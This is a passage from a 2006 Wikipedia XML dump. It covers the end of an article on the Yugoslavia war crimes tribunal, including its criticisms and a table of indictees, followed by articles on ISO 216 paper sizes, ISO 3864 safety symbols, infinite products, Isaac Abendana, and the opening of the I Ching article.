: ''NATO countries are those that have provided the finance to set up the Tribunal, we are amongst the majority financiers, and of course to build a second chamber so that prosecutions can be speeded up so let me assure that we and the Tribunal are all one on this, we want to see war criminals brought to justice and I am certain that when Justice Arbour goes to Kosovo and looks at the facts she will be indicting people of Yugoslav nationality and I don't anticipate any others at this stage.''

The Tribunal is funded by approved appropriations made by the Fifth Committee of the General Assembly. NATO countries contribute to the budget as they are members of the UN and hence they get assesed for it as approved. However, a significant portion of the budget is voluntary funding, done mostly by NATO and Muslim countries. The UN General Assembly publishes the Tribunal's annual budget and Audited Financial Statements. 

In [[December 2003]], [[Wesley Clark]] testified behind closed doors during [[Slobodan Milosevic|Slobodan Milošević]]'s trial.  In the [[1990s]], Clark had spoken with Milosevic for more than 100 hours in his role as the head of the U.S. military team during the [[Dayton Agreement]] negotiations and as [[NATO]]'s [[Supreme Allied Commander]] in Europe. 

Critics of the court took Clark's testimony as a prime example of the court's flaws. During Clark's cross-examination by Milosevic the following exchange is found:

:MILOSEVIC: [Interpretation] General Clark, is it true that in an interview that you gave for ''[[The New Yorker]]'' on the 17th of November, you said that the war that you waged was technically illegal?

:[Judge [[Richard May]], presiding, cuts Milošević off and some back and forth follows between the two, in which Judge May reminds Milošević that since Milošević is cross-examining General Clark, he can only address matters regarding which the witness was asked to testify during the examination in chief by the prosecutions counsel. Since the legality of the NATO military action was not discussed during examination in chief, the rules of procedure do not permit Milošević to raise that issue during cross-examination. At the end of the exchange, Milošević asks:]

:MILOSEVIC: [Interpretation] So I cannot ask him anything at all about the war waged by NATO against Yugoslavia. Is that what you're saying?

:JUDGE MAY: Yes.

:MILOSEVIC: [Interpretation] Well, Mr. May, that really is an example showing that this is truly nothing more than a farce.

Milosevic was required to call Clark as his own witness to open these lines of questioning.

* Critics have questioned whether the Tribunal exascerbates tensions rather than promotes reconciliation, as is claimed by Tribunal supporters.  Polls show a generally negative reaction to the Tribunal among the Serb and Croat public. The majority of Croats and Serbs doubt the tribunal's integrity and question the tenability of its legal procedures (although the Serbs's and Croats's opinions on the court are almost always exactly the opposite with regard to the cases that involve both parties). On the other hand, Kosovo Albanians and Bosnian Muslims have frequently expressed their high regard for the court and the trust in its impartiality.
*Critics, even within the United Nations, have complained of the Tribunal's high cost.  The two-year budget for the Tribunal for 2004 and 2005 was $271,854,600 (USD).  The cost is borne by all U.N. members.  
*Critics have also complained of the length of trials, with some extending for several years.  Supporters of the Tribunal respond that many of the defendants are charged with multiple crimes against many victims, all of which must be proven beyond reasonable doubt, thus requiring long trials.  Simultaneous translation also slows trials.

==Indictees==

An incomplete list.

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot;
|-
!Name||Ethnicity&lt;br&gt;Former rank||Indictment||Disposition
|-
|[[Rahim Ademi]]
|Croatian army general, ethnic Albanian
|
|
|-
|[[Milan Babić]]
|Croatian Serb, prime minister of [[Republika Srpska Krajina]]
|
|Sentenced to thirteen years for his part in ethnic cleansing 
|-
|[[Haradin Bala]]
|Kosovo Albanian, [[Kosovo Liberation Army]] prison camp guard 
|&amp;nbsp; 
|-Sentenced to thirteen years for his direct participation in the killings at Berisha mountains. 
|[[Idriz Balaj]]
|Kosovo Albanian, [[Kosovo Liberation Army]] special unit commander
|
|
|-
|[[Beqë Beqaj]]
|Albanian
|indicted for contempt of the tribunal for allegedly interfering with witnesses in the case against Fatmir Limaj and Isak Musliu
|-
|[[Vidoje Blagojević]]
|Bosnian Serb, Bosnian Serb Army officer
|
|Sentenced to 18 years for involvement in the [[Srebrenica massacre]]
|-
|[[Tihomir Blaškić]]
|Croatian, Croatian Army general
|
|convicted, partially dismissed in  appeal, since released
|-
|[[Janko Bobetko]]
|Croatian
chief of staff, Croatian army
|indicted, died before the case could be heard
|-
|[[Ljube Boškovski]]
|Macedonian
interior minister of Macedonia
|for [[Ljuboten]] attack
|-
|[[Lahi Brahimaj]]
|Kosovo Albanian, [[Kosovo Liberation Army]]
|
|
|-
|[[Ljubomir Borovcanin]]
|Serb
|indicted in [[Srebrenica]] case
|-
|[[Goran Borovnica]]
|Serb
|indicted in [[Prijedor]] case
|-
|[[Miroslav Bralo]]
|Bosnian Croat
|&amp;nbsp;
|&amp;nbsp;
|-
|[[Ivan Čermak]]
|Croatian
army general
|awaiting trial
|-
|[[Mario Čerkez]]
|Croatian
|sentenced to 15 years for offensives in Lašva Valley, Bosnia
|-
|[[Hazim Delić]]
|Bosnian Muslim, Bosnian prison camp deputy commander
|
|Sentenced to twenty years, found guilty of murder &amp; rape
|-
|[[Rasim Delić]]
|Bosnian Muslim, Bosnian Army General
|&amp;nbsp;
|-
|[[Vlastimir Đorđević]]
|Serb
army general
|&amp;nbsp;
|-
|[[Đorđe Đukić]]
|Serb
|&amp;nbsp;
|indicted for shelling civilian targets, died before case was tried
|-
|[[Stanislav Galić]]
|Bosnian Serb
|indicted for Sarajevo ; sentenced to 20 years ; appeal pending.
|-
|[[Milan Gvero]]
|Bosnian Serb
|indicted for Srebrenica
|-
|[[Ante Gotovina]]
|Croat, Army general
|Crimes against humanity &amp; Violations of the laws or customs of war
|
|-
|[[Momčilo Gruban]]
|Serb
|indicted in Omarska Camp case
|
|-
|[[Sefer Halilović]]
|Bosnian Muslim
|for massacres in the villages of Grabovica and Uzdol, Bosnia
|On [[November 16]], [[2005]], Halilović was acquitted on all charges and released.
|-
|[[Ramush Haradinaj]]
|Albanian
prime minister of Kosovo
|indicted for action while regional commander of the [[Kosovo Liberation Army]]
|-
|[[Gojko Janković]], 
| Bosnian Serb
|&amp;nbsp;
|-
|[[Goran Jelisić]],
|Serb 
|&amp;nbsp;
|convicted
|-
|[[Dragan Jokić]]
|Bosnian Serb
|sentenced to 9 years for involvement in [[Srebrenica massacre]]
|-
|[[Miodrag Jokić]]
|Serb
admiral in Yugoslav navy
|sentenced to seven years for the bombing of [[Dubrovnik]]
|-
|[[Drago Josipović]]
|Croat
|&amp;nbsp;
|convicted for the massacres in Ahmići-Šantići
|-
|[[Radovan Karadžić]]
|Montenegrin, former President of Republika Srpska
|Genocide, Crimes against humanity, Violations of the laws or customs of war &amp; Grave breaches of the Geneva conventions of 1949
|&amp;nbsp;
|-
|[[Duško Knežević]]
|Serb
|indicted in Omarska Camp case
|-
|[[Dario Kordić]]
|Croat
|
|sentenced to 25 years for offensives in the Lašva Valley, Bosnia
|-
|[[Radomir Kovač]]
|Serb
|&amp;nbsp;
|convicted
|-
|[[Momčilo Krajišnik]]
|Bosnian Serb
prime minister of Republika Srpska
|&amp;nbsp;
|-
|[[Milorad Krnojelac]]
|Bosnian Serb, Bosnian Serb prison commander
|
|Sentenced to fifteen years for the Foca prison camp
|-
|[[Radislav Krstić]]
|Bosnian Serb, Bosnian Serb Army general
|Genocide, Crimes against humanity &amp; Violations of the laws or customs of war
|Sentenced to thirty five years (Originally forty six years)              
|-
|[[Dragoljub Kunarac]]
|Serb
|&amp;nbsp;
|convicted
|-
|[[Esad Lanzo]]
|Bosnian Muslim
|convicted
|-
|[[Vladimir Lazarevic]]
|Serb
army general
|&amp;nbsp;
|-
|[[Fatmir Limaj]]
|Albanian
|&amp;nbsp;
|Acquitted
|-
|[[Sreten Lukić]]
|Serb
Serbian police general
|&amp;nbsp;
|-
|[[Gruban Malić]]
|Serbian [[fictional character]]
|Indicted for forced sexual intercourse, violation of the laws or customs of war, crime against humanity
|Charges dropped
|-
|[[Mladen Markač]]
|Serb
|&amp;nbsp;
|awaiting trial
|-
|[[Milan Martić]]
|Serb
prime minster of Republika Srpska Krajina
|&amp;nbsp;
|-
|[[Željko Meakić]]
|Bosnian Serb
|indicted in Omarska Camp case
|-
|[[Radivoj Miletić]]
|Bosnian Serb
|indicted for Srebrenica
|-
|[[Milan Milutinović]]
|Serb
[[President of Serbia]]
|indicted for incidents while in authority during [[Kosovo War]]
|-
|[[Dragomir Milošević]], 
|Bosnian Serb
|indicted for command of [[siege of Sarajevo]]
|-
|[[Slobodan Milošević]]
|Serb
president of Serbia, president of Yugoslavia
|indicted for incidents while in authority during [[Kosovo War]]
|-
|[[Ratko Mladić]]
|Bosnian Serb, Bosnian Serb Army Commander of the Main Staff
|Genocide, Complicity in Genocide, Crimes against Humanity &amp; Violations of the laws &amp; customs/war
|&amp;nbsp;
|
|-
|[[Darko Mrđa]]
|Bosnian Serb, Bosnian Serb police unit commander
|&amp;nbsp;
|Sentenced to 17 years
|-
|[[Mile Mrkšić]]
|Croatian Serb, Yugoslav Army Colonel, Later [[Republika Srpska Krajina]] Army Commander
|Indictment in relation to [[Vukovar]]
|-
|[[Isak Musliu]]
|Kosovo Albanian, Kosovo Liberation Army commander
|&amp;nbsp;
|Acquitted
|-
|[[Mladen Naletilić|Mladen ''Tuta'' Naletilić]]
|Bosnian Croat, Bosnian Croat paramilitary
|&amp;nbsp;
|
|-
|[[Dragan Nikolić]]
|Serb, Bosnian Serb Prison Commander
|Indicted in the Susica Camp case
|Sentenced to twenty years
|-
|[[Drago Nikolić]]
|Bosnian Serb, Bosnian Serb Army Officer
|indicted in the Srebrenica case
|
|-
|[[Dragan Obrenović]]
|Bosnian Serb, Bosnian Serb Army Lieuttenant-Colonel
|
|Sentenced to seventeen years
|-
|[[Dragoljub Ojdanić]]
|Serb, Yugoslav Army Chief of Staff
|indicted for incidents while in authority during [[Kosovo War]]
|
|-
|[[Naser Orić]]
|Bosnian Muslim, Bosnian Muslim Army commander of Srebrenica
|Violations of the laws or customs of war
|
|-
|[[Vinko Pandurević]]
|Bosnian Serb, Bosnian Serb Army general
|indicted in the Srebrenica case
|
|-
|[[Nebojša Pavković]]
|Serb, former Yugoslav Army chief of staff
|indicted for incidents while in authority during [[Kosovo War]]
|
|-
|[[Biljana Plavšić]]
|Bosnian Serb, former President of [[Republika Srpska]]
|
|plead guilty, Sentenced to eleven years
|-
|[[Vujadin Popović]]
|Bosnian Serb, Bosnian Serb Army Lieutenant colonel
|indicted in the Srebrenica case
|-
|[[Miroslav Radić]]
|Serb, Yugoslav Army captain
|&amp;nbsp;
|&amp;nbsp;
|-
|[[Mitar Rašević]]
|Serb
|&amp;nbsp;
|&amp;nbsp;
|-
|[[Nikola Šainović]]
|Serb, Former deputy prime minister of Yugoslavia
|indicted for incidents while in authority during [[Kosovo War]]
|
|-
|[[Vladimir Šantić]], 
|Bosnian Croat
|
|Freed on appeal
|-
|[[Vojislav Šešelj]]
|Serb, President of the Serbian Radical Party (SRS) 
|
|&amp;nbsp;
|-
|[[Duško Sikirica]]
|Bosnian Serb, Bosnian Serb prison commander
|&amp;nbsp;
|Sentenced to fifteen years
|-
|[[Veselin Šljivančanin]]
|Montenegrin, Yugoslav army battalion commander
|related to [[Vukovar]]
|
|-
|[[Mićo Stanišić]]
|Bosnian Serb, Former Bosnian Serb interior minister
|Crimes against humanity and Violations of the laws or customs of war
|
|-
|[[Vlajko Stojiljković]]
|Serb, Former Serbian interior minister
|Indicted with [[Slobodan Milosevic]]
|Committed suicide before trial
|-
|[[Pavle Strugar]]
|Montenegrin, Yugoslav Army general
|
|sentenced to eight years for command authority in bombing of [[Dubrovnik]]
|-
|[[Duško Tadić]]
|Bosnian Serb, [[Serbian Democratic Party]] leader in Kozarac and member of paramilitary force
|
|Sentenced to twenty five years
|-
|[[Miroslav Tadić]]
|Bosnian Serb, Chairman of Bosanki Samac 'Exchange commission'
|&amp;nbsp;
|sentenced to eight years in the Bosanski Šamac case, given early release
|-
|[[Johan Tarculovski]]
|Macedonian, Macedonian police officer
|for [[Ljuboten]] attack
|
|-
|[[Stevan Todorović]]
|Bosnian Serb, Bosnian Serb police head for the municipalty of Bosanki Samac
|&amp;nbsp;
|Sentenced to ten years
|-
|[[Savo Todović]]
|Bosnian Serb, Bosnian Serb prison commander
|&amp;nbsp;
|&amp;nbsp;
|-
|[[Zdravko Tolimir]]
|Bosnian Serb, Bosnian Serb Army assistant commander
|Crimes against humanity and Violations of the laws or customs of war
|
|-
|[[Mitar Vasiljević]]
|Bosnian Serb, Bosnian Serb paramilitary
|
|Sentenced to twenty years, Found guilty of crimes against humanity
|-
|[[Zoran Vuković]]
|Bosnian Serb, Bosnian Serb Army soldier
|
|Sentenced to twelve years, Found guilty of rape &amp; torture
|}

==See also==
* [[Command responsibility]]
* [[Historical revisionism (political)|Historical revisionism]]
* [[International Criminal Court]]
* [[International Criminal Tribunal for Rwanda]]
* [[State Court of Bosnia and Herzegovina]]

==External links==

* [http://www.un.org/icty/ Official website of ICTY]
* [http://www.ohr.int/print/?content_id=7117 UN Security Council resolution 827 (1993)]
* [http://www.icdsmireland.org/resources/trial/2003/illegal.htm Illegal Tribunal - Illegal Indictment]
* [http://www.un.org/icty/glance/index.htm] - KEY FIGURES OF ICTY CASES includes complete list of indictees and disposition of cases (to February 2005).
* [http://jurist.law.pitt.edu/issue_milo_discuss.php Jurist Milosevic Trial discussion]
* [http://www.icdsm.org/ International Committee to Defend Slobodan Milosevic]
* [http://www.balkanstudies.org/wordfiles/Byronica/Hague.htm: Raymond K. Kent: The Hague and Serb history] 
*[http://www.srpska-mreza.com/library/facts/Kent-summary.html Raymond K. Kent: The Hague Tribunal and the Serbs] 
* [http://www.icdsmireland.org/resources/trial/trial-index.htm Milosevic on trial]
* [http://www.un.org/icty/pressreal/nato061300.htm Report to the Prosecutor by the Committee Established to Review the NATO Bombing]
* [http://findingkaradzic.blogspot.com Finding Karadzic blog]

[[Category:Human rights bodies]]
[[Category:International courts]]
[[Category:International criminal law]]
[[Category:United Nations tribunals]]
[[Category:History of Bosnia and Herzegovina]]

[[de:Internationaler Strafgerichtshof für das ehemalige Jugoslawien]]
[[es:Tribunal Penal Internacional para la ex-Yugoslavia]]
[[fr:Tribunal pénal international pour l'ex-Yougoslavie]]
[[hr:Međunarodni sud za ratne zločine počinjene na području bivše Jugoslavije]]
[[id:Pengadilan Internasional untuk Bekas Yugoslavia]]
[[ja:旧ユーゴスラヴィア国際戦犯法廷]]
[[no:Det internasjonale krigsforbrytertribunalet for det tidligere Jugoslavia]]
[[pl:Międzynarodowy Trybunał Karny dla byłej Jugosławii]]
[[sr:Хашки трибунал]]
[[fi:ICTY]]</text>
    </revision>
  </page>
  <page>
    <title>ISO 216</title>
    <id>15275</id>
    <revision>
      <id>38643232</id>
      <timestamp>2006-02-07T18:19:08Z</timestamp>
      <contributor>
        <ip>82.71.26.206</ip>
      </contributor>
      <comment>/* A series */</comment>
      <text xml:space="preserve">{| class=&quot;wikitable&quot; style=&quot;float:right; margin-left: 0.5em; text-align: '×';&quot;
|+ '''ISO 216 sizes'''&lt;br&gt;&lt;small&gt;([[millimeter|mm × mm]])&lt;/small&gt;
|-
!colspan=&quot;2&quot;| A Series
|-
| A0 || 841 × 1189
|-
| A1 || 594 ×  841
|-
| A2 || 420 ×  594
|-
| A3 || 297 ×  420
|-
| A4 || 210 ×  297
|-
| A5 || 148 ×  210
|-
| A6 || 105 ×  148
|-
| A7 ||  74 ×  105
|-
| A8 ||  52 ×   74
|-
| A9 ||  37 ×   52
|-
| A10||  26 ×   37
|-
!colspan=&quot;2&quot;| B Series
|-
| B0 ||1000 × 1414
|-
| B1 || 707 × 1000
|-
| B2 || 500 ×  707
|-
| B3 || 353 ×  500
|-
| B4 || 250 ×  353
|-
| B5 || 176 ×  250
|-
| B6 || 125 ×  176
|-
| B7 ||  88 ×  125
|-
| B8 ||  62 ×   88
|-
| B9 ||  44 ×   62
|-
| B10||  31 ×   44
|-
!colspan=&quot;2&quot;| C Series
|-
| C0 || 917 × 1297
|-
| C1 || 648 ×  917
|-
| C2 || 458 ×  648
|-
| C3 || 324 ×  458
|-
| C4 || 229 ×  324
|-
| C5 || 162 ×  229
|-
| C6 || 114 ×  162
|-
| C7/6|| 81 ×  162
|-
| C7 ||  81 ×  114
|-
| C8 ||  57 ×   81
|-
| C9 ||  40 ×   57
|-
| C10||  28 ×   40
|-
| DL || 110 ×  220
|}

'''ISO 216''' specifies [[International Organization for Standardization|international standard]] (ISO) [[paper size]]s, used in most countries in the world today.  It is the standard which defines the well-known [[A4 paper size]].

[[Image:A size illustration.png|thumb|300px|left|A comparison of different A paper sizes]]

The standard was originally adopted by [[DIN]] (as '''DIN 476''') in [[Germany]] in [[1922]], although some of the formats contained therein were independently invented in [[France]] during its revolution and later forgotten.

ISO 216 defines two series of paper sizes: A and B. There is also a C series for envelopes, defined in [[ISO 269]].

==A series==
Paper in the A series format has a 1:&amp;radic;2 aspect ratio, though this is rounded to the nearest millimetre. A0 is defined so that it has an area of 1 [[square metre|m²]], prior to the above mentioned rounding. Successive paper sizes in the series A1, A2, A3, etc., are defined by halving the preceding paper size parallel to its shorter side, again prior to rounding. The most frequently used paper size is A4, which is 210 × 297 mm.

==B series==
The B series formats are [[geometric mean]]s between the A series format with the same number and the A series format with one lower number. For example, B1 is a geometric mean between A1 and A0. The sides of B0 are 1 m to &amp;radic;2 m. 

There is also an incompatible Japanese B series defined by the [[Japanese Industrial Standard|JIS]]. The lengths of JIS B series paper are approximately 1.22 times those of A-series paper.

==C series==
The C series formats are geometric means between the B series format with the same number and the A series format with the same number, e.g. C2 is the geometric mean between B2 and A2. The C series formats are used mainly for envelopes. An A4 page will fit into a C4 envelope. If you fold the A4 page so that it is A5 in size, it will fit in a C5 envelope and so on.

==Application==
Prior to the adoption of ISO 216, many different paper formats were used internationally. These formats did not fit into a coherent system and were defined in terms of non-metric units. The ISO 216 formats are organized around the ratio 1:&amp;radic;2; two sheets next to each other together have the same ratio, sideways. This simplifies copying two A4 sheets in reduced size on one, and copying an A4 sheet in magnified size on an A3 sheet or copying half an A4 sheet in magnified size on an A4 sheet. The principal countries not generally using the ISO paper sizes are the [[United States|United States of America]] and [[Canada]], which use the [[Paper size#Current U.S. loose paper sizes|Letter]], [[Paper size#Current U.S. loose paper sizes|Legal]], and [[Paper size#Current U.S. loose paper sizes|Executive]] system. (Canada uses a P-series of sizes, which are the American paper sizes rounded to metric dimensions.)

==External links==
* [http://www.cl.cam.ac.uk/~mgk25/iso-paper.html Details] about paper sizes

[[Category:DIN standards]]
[[Category:ISO standards|#00216]]
[[Category:Stationery]]
[[Category:Metrication]]

[[cs:Formát papíru]]
[[da:Størrelser (papir)]]
[[de:Papierformat]]
[[et:ISO 216]]
[[es:ISO 216]]
[[fr:ISO 216]]
[[it:ISO 216]]
[[nl:Papierformaat]]
[[pl:Format arkusza]]
[[pt:Tamanho do papel]]
[[sk:Formát papiera]]
[[sl:ISO 216]]
[[fi:ISO 216]]
[[sv:A-format]]
[[zh:ISO 216]]</text>
    </revision>
  </page>
  <page>
    <title>ISO 3864</title>
    <id>15276</id>
    <revision>
      <id>41891773</id>
      <timestamp>2006-03-02T12:03:54Z</timestamp>
      <contributor>
        <username>Markus Kuhn</username>
        <id>44867</id>
      </contributor>
      <text xml:space="preserve">'''[[International Organization for Standardization|ISO]] 3864''' specifies [[international standard]]s for [[safety symbol]]s. These labels are graphical, to overcome language barriers. There is an alternative American standard, [[ANSI]] Z.535, which is incompatible with the international standard.  The ANSI standard requires an accompanying text, which can pose problems for environments in which people expected to understand the sign may not read the language or may not read at all, including many workplaces in the [[United States|USA]]. 
{{standard-stub}}
[[Category:ISO standards|#03864]]</text>
    </revision>
  </page>
  <page>
    <title>Infinite product</title>
    <id>15279</id>
    <revision>
      <id>34839262</id>
      <timestamp>2006-01-12T02:08:27Z</timestamp>
      <contributor>
        <username>TobinFricke</username>
        <id>68831</id>
      </contributor>
      <minor />
      <comment>spelling</comment>
      <text xml:space="preserve">In [[mathematics]], for a [[sequence]] of numbers ''a''&lt;sub&gt;1&lt;/sub&gt;, ''a''&lt;sub&gt;2&lt;/sub&gt;, ''a''&lt;sub&gt;3&lt;/sub&gt;, ... the '''infinite product''' 

:&lt;math&gt;
\prod_{n=1}^{\infty} a_n = a_1 \; a_2 \; a_3 \cdots
&lt;/math&gt;

is defined to be the [[limit (mathematics)|limit]] of the partial products ''a''&lt;sub&gt;1&lt;/sub&gt;''a''&lt;sub&gt;2&lt;/sub&gt;...''a''&lt;sub&gt;''n''&lt;/sub&gt; as ''n'' goes to infinity.  The product is said to ''converge'' when the limit exists and is not zero. Otherwise the product is said to ''diverge''.  The value zero is treated specially in order to get results analogous to those for [[Infinite series|infinite sums]]. If the product converges, then the limit of the sequence ''a''&lt;sub&gt;''n''&lt;/sub&gt; as ''n'' goes to infinity must be 1 while the converse is in general not true. Therefore, the [[logarithm]] log ''a''&lt;sub&gt;''n''&lt;/sub&gt; will be defined for all but finitely many ''n'', and for those we have

:&lt;math&gt;\log \prod_{n=1}^{\infty} a_n = \sum_{n=1}^{\infty} \log a_n&lt;/math&gt;

with the product on the left converging if and only if the sum on the right does. This allows the translation of convergence criteria for infinite sums into convergence criteria for infinite products.

The best known examples of infinite products are probably some of the formulae for [[pi|&amp;pi;]], such as the following two products, respectively by [[Viète]] and [[John Wallis]] ([[Wallis product]]):

:&lt;math&gt;\frac{2}{\pi} = \frac{ \sqrt{2} }{ 2 } \cdot \frac{ \sqrt{2 + \sqrt{2}} }{ 2 } \cdot \frac{ \sqrt{2 + \sqrt{2 + \sqrt{2}}} }{ 2 } \cdots&lt;/math&gt;
:&lt;math&gt;\frac{\pi}{2} =  \frac{2}{1} \cdot \frac{2}{3} \cdot \frac{4}{3} \cdot \frac{4}{5} \cdot \frac{6}{5} \cdot \frac{6}{7} \cdot \frac{8}{7} \cdot \frac{8}{9} \cdots = \prod_{n=1}^{\infty} \left( \frac{ 4 \cdot n^2 }{ 4 \cdot n^2 - 1 } \right) &lt;/math&gt;

==Product representations of functions==

One important result concerning infinite products is that every [[entire function]] ''f''(''z'') (i.e., every function that is [[holomorphic function|holomorphic]] over the entire [[complex number|complex plane]]) can be factored into an infinite product of entire functions each with at most a single zero.  In general, if ''f'' has a zero of order ''m'' at the origin and has other complex zeros at ''u''&lt;sub&gt;1&lt;/sub&gt;, ''u''&lt;sub&gt;2&lt;/sub&gt;, ''u''&lt;sub&gt;3&lt;/sub&gt;, ... (listed with multiplicities equal to their orders) then

:&lt;math&gt;
f(z) = z^m \; e^{\phi(z)} \; \prod_{n=1}^{\infty} \left(1 - \frac{z}{u_n} \right) \;
\exp \left\lbrace \frac{z}{u_n} + \left(\frac{z}{u_n}\right)^2 + \cdots + \left(\frac{z}{u_n}\right)^{\lambda n} \right\rbrace
&lt;/math&gt;

where &amp;lambda;''n'' are positive integers that can be chosen to make the series converge, and &amp;phi;(''z'') is some uniquely determined analytic function (which means the term before the product will have no zeros in the complex plane).  The above factorization is not unique, since it depends on the choice of &amp;lambda;''n''s, and is not especially elegant.  For most functions, though, there will be some minimum positive integer ''p'' such that &amp;lambda;''n'' = ''p'' gives a convergent product, called the canonical product representation, and in the event that ''p'' = 1, this takes the form

:&lt;math&gt;
f(z) = z^m \; e^{\phi(z)} \; \prod_{n=1}^{\infty} \left(1 - \frac{z}{u_n}\right)
&lt;/math&gt;

This can be regarded as a generalization of the [[Fundamental Theorem of Algebra]], since for polynomials the product becomes finite and &amp;phi;(''z'') is constant.  Aside from these, the following representations are of special note:
&lt;table cellspacing=15&gt;&lt;tr&gt;&lt;td&gt;
[[Sine]] function
&lt;/td&gt;&lt;td&gt;
&lt;math&gt;\sin \pi z = \pi z \prod_{n=1}^{\infty} \left(1 - \frac{z^2}{n^2}\right)&lt;/math&gt;
&lt;/td&gt;&lt;td&gt;
[[Euler]] - [[Wallis product|Wallis' formula for &amp;pi;]] is a special case of this.
&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
[[Gamma function]]
&lt;/td&gt;&lt;td&gt;
&lt;math&gt;1 / \Gamma(z) = z \; \mbox{e}^{\gamma z} \; \prod_{n=1}^{\infty} \left(1 + \frac{z}{n}\right) \; \mbox{e}^{-z/n}&lt;/math&gt;
&lt;/td&gt;&lt;td&gt;
[[Schlömilch]]
&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
[[Riemann zeta function]]
&lt;/td&gt;&lt;td&gt;
&lt;math&gt;\zeta(z) = \prod_{n=1}^{\infty} \frac{1}{(1 - p_n^{-z})}&lt;/math&gt;
&lt;/td&gt;&lt;td&gt;
Euler - Here ''p''&lt;sub&gt;''n''&lt;/sub&gt; denotes the sequence of [[prime number|prime numbers]].&lt;/tr&gt;&lt;/table&gt;

Note the last of these is not a product representation of the same sort discussed above, as &amp;zeta; is not entire.
[[Category:Mathematical analysis]]

[[fr:Produit infini]]
[[ja:総乗]]
[[sv:Oändlig produkt]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Abendana</title>
    <id>15281</id>
    <revision>
      <id>36180359</id>
      <timestamp>2006-01-22T05:04:27Z</timestamp>
      <contributor>
        <username>Dmlandfair</username>
        <id>296817</id>
      </contributor>
      <comment>bio</comment>
      <text xml:space="preserve">{{unsourced}}
'''Isaac Abendana''' (c.[[1640]] - [[1710]]) was the younger brother of [[Jacob Abendana]], ''haham'' ([[rabbi]]) of the Spanish Portuguese Synagogue in [[London]]. Isaac Abendana moved to [[England]] before his brother, in [[1662]], and taught [[Hebrew language|Hebrew]] at [[University of Cambridge|Cambridge University]]. He completed an unpublished [[Latin]] translation of the [[Mishnah]] for the university in [[1671]]. 

While he was at Cambridge, Abendana sold Hebrew books to the [[Bodleian Library]] of [[Oxford University|Oxford]], and in [[1689]] he took a teaching position in [[Magdalen College]]. In Oxford, he wrote a series of [[Jewish]] [[almanac]]s for Christians, which he later collected and compiled as the ''[[Discourses on the Ecclesiastical and Civil Polity of the Jews]]'' ([[1706]]). Like his brother, he maintained an extensive correspondence with leading Christian scholars of his time, most notably with the philosopher [[Ralph Cudworth]], master of [[Christ's College, Cambridge]]. 

{{Wikisource1911Enc|Abendana}}
{{judaism-bio-stub}}

[[Category:Middle Ages rabbis|Abendana, Isaac]]</text>
    </revision>
  </page>
  <page>
    <title>I Ching</title>
    <id>15282</id>
    <revision>
      <id>41964614</id>
      <timestamp>2006-03-02T22:43:45Z</timestamp>
      <contributor>
        <ip>84.159.45.209</ip>
      </contributor>
      <comment>/* Implications of the title */</comment>
      <text xml:space="preserve">:''Alternative meaning: [[I Ching (monk)]]''

{| cellpadding=3px cellspacing=0px bgcolor=#f7f8ff style=&quot;float:right; border:1px solid; margin:5px&quot;
!style=&quot;background:#ccf; border-bottom:1px solid&quot; colspan=2 align=center|'''I Ching'''
|-
|align=right|[[Simplified Chinese]]:|| &amp;#26131;&amp;#32463;
|-
|align=right|[[Traditional Chinese]]:|| &amp;#26131;&amp;#32147;
|-
|align=right|[[Hanyu Pinyin]]:|| Yì J&amp;#299;ng;
|-
|align=right|[[Wade-Giles]]:||I&lt;sup&gt;4&lt;/sup&gt; Ching&lt;sup&gt;1&lt;/sup&gt;
|-
|align=right|Alt. [[romanization]]s||I Jing, Yi Ching, Yi King
|-
|align=right|[[Cantonese language|Cantonese]] [[International Phonetic Alphabet|IPA]]:|| {{IPA|j&amp;#618;k&lt;sub&gt;22&lt;/sub&gt; k&amp;#618;&amp;#331;&lt;sub&gt;55&lt;/sub&gt;}}
|-
|align=right|[[Cantonese language|Cantonese]] [[Jyutping|Jyutping]]:|| jik6 ging1
|}

The '''''I Ching'''''  is the oldest of the [[Chinese classic texts]]. It describes an ancient system of [[cosmology]] and [[philosophy]] which is at the heart of Chinese cultural beliefs.  The philosophy centers on the ideas of ''the dynamic balance of opposites'', ''the evolution of events as a process,'' and ''acceptance of the inevitability of change'' (see ''Philosophy'', below). In [[Western world|Western]] cultures, the ''I Ching'' is regarded by some as simply a system of [[divination]]; many believe it expresses the wisdom and philosophy of [[ancient China]].

== Implications of the title ==

Used as an adjective, it means &quot;easy&quot; or &quot;simple&quot;, while as a verb it implies &quot;to change&quot;.
* &amp;#32147; (''j&amp;#299;ng'') here means &quot;classic (text)&quot;, which derived from its original meaning of &quot;regularity&quot; or &quot;persistency&quot;, implying that the text describes the [[Tao|Ultimate Way]] which will not change throughout the flow of time.

The conception behind this title, thus, is profound. It has three implications:
# ''Simplicity'' - the root of the substance. The fundamental law underlying everything in the universe is utterly plain and simple, no matter how abstruse or complex some things may appear to be.
# ''Variability'' - the use of the substance. Everything in the universe is continually changing. By comprehending this one may realize the importance of flexibility in life and may thus cultivate the proper attitude for dealing with a multiplicity of diverse situations. 
# ''Persistency'' - the essence of the substance. Everything in the universe seems to be changing, yet among the changing tides there is a persistent principle--which is the change itself. like in sunrise and set. full moon, half moon, that means, persistency. cheerZ

(&amp;#26131;&amp;#19968;&amp;#21517;&amp;#32780;&amp;#21547;&amp;#19977;義&amp;#65306;&amp;#26131;&amp;#31777;&amp;#19968;&amp;#20063;&amp;#65307;&amp;#35722;&amp;#26131;&amp;#20108;&amp;#20063;&amp;#65307;&amp;#19981;&amp;#26131;&amp;#19977;&amp;#20063;&amp;#12290; commented on by [[Zheng Xuan]] (&amp;#37165;&amp;#29572; ''zhèng xúan'') in his writings ''Critique of I Ching'' (&amp;#26131;&amp;#36106; ''yì zàn'') and ''Commentary on I Ching'' (&amp;#26131;&amp;#35770; ''yì lùn'') of [[Eastern Han Dynasty]])

Due to the profound ideas conveyed by the title itself, it is practically impossible to arrive at an unbiased translation which could preserve the original concepts intact.  The translation of the title into English used to be ''Book of Changes'', though a slightly more accurate name, ''Classic of Changes'', appears more frequently in recent use.

== History ==

===Traditional view===

